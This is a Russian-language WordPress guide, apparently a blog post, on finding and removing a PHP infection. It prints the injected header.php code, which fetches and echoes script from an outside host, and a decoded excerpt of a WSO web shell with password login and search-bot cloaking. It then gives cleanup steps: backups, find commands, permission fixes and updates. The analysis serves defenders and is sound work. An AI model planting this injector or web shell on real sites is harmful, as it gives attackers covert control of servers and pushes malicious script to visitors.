В этом руководстве представлен конкретный случай, когда блог WordPress оно было заражено. Удаление WordPress PHP-вирус.
На днях я заметил подозрительный код, похожий на PHP-вирус для WordPress. Следующий код PHP присутствовал в файле header.php
, перед строкой </head>
.
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
Это какой-то PHP-код, который выглядит так, будто пытается получить содержимое ресурса с внешнего сервера, но часть, относящаяся к URL-адресу, неполная.
Рабочий механизм несколько сложнее и делает это WordPress Вирус PHP невидим для посетителей пораженных сайтов. Вместо этого он нацелен на поисковые системы (Google) и косвенно приводит к значительному снижению числа посетителей затронутых веб-сайтов.
Cодержание
Подробная информация о вредоносном ПО WordPress PHP Вирус
1. Приведенный выше код присутствует в header.php
.
2. На сервере появился файл wp-log.php
в папке wp-includes
.
3. wp-log.php
содержит зашифрованный код, который относительно легко расшифровать.
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
Расшифровать вредоносный код из wp-log.php
:
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
Похоже, это вредоносный PHP-скрипт, содержащий код для обработки аутентификации и действий с файлами и каталогами на сервере. Легко заметить, что этот скрипт содержит такие переменные, как $auth_pass
(пароль аутентификации), $default_action
(действие по умолчанию), $default_use_ajax
(используя Ajax по умолчанию) и $default_charset
(настройка символов по умолчанию).
Очевидно, что в этом скрипте есть раздел, который проверяет пользовательские агенты HTTP, чтобы заблокировать доступ к определенным веб-ботам, таким как поисковые системы. В нем также есть раздел, который проверяет режим безопасности PHP и устанавливает определенные рабочие каталоги.
4. При доступе к wp-log.php в браузере появляется веб-страница с полем удостоверение подлинности. На первый взгляд это файловый менеджер, с помощью которого можно легко загружать новые файлы на целевой сервер.
Как девирусить сайт WordPress?
Всегда процесс ручного удаления вирусов включает в себя сначала обнаружение и понимание того, в чем заключалась уязвимость.
1. Создайте резервную копию всего веб-сайта. Это должно включать как файлы, так и базу данных.
2. Определите приблизительное время существования вируса и найдите на веб-сервере измененные или вновь созданные файлы в течение приблизительного периода времени.
Например, если вы хотите просмотреть файлы .php
созданные или измененные за последнюю неделю, выполните на сервере команду:
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
Это простой метод, с помощью которого вы можете раскрыть файлы WordPress зараженные и содержащие вредоносный код.
3. Проверьте файл .htaccess
подозрительных указаний. Строки разрешений или выполнение скрипта.
4. Проверьте базу данных. Вполне возможно, что некоторые посты и страницы WordPress быть отредактированы с вредоносными программами или добавлены новые пользователи с ролью administrator.
5. Проверьте права на запись для папок и файлов. chmod
şi chown
.
Рекомендуемые разрешения: 644 для файлов и 755 для каталогов.
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6. Обновить все WordPress Plugins / WordPress Themes.
Связанный: Fix Redirect WordPress Hack 2023 (Virus Redirect)
Это «базовые» методы, с помощью которых можно обезвредить сайт/блог. WordPress. Если у вас возникли проблемы и вам нужна помощь, раздел комментариев открыт.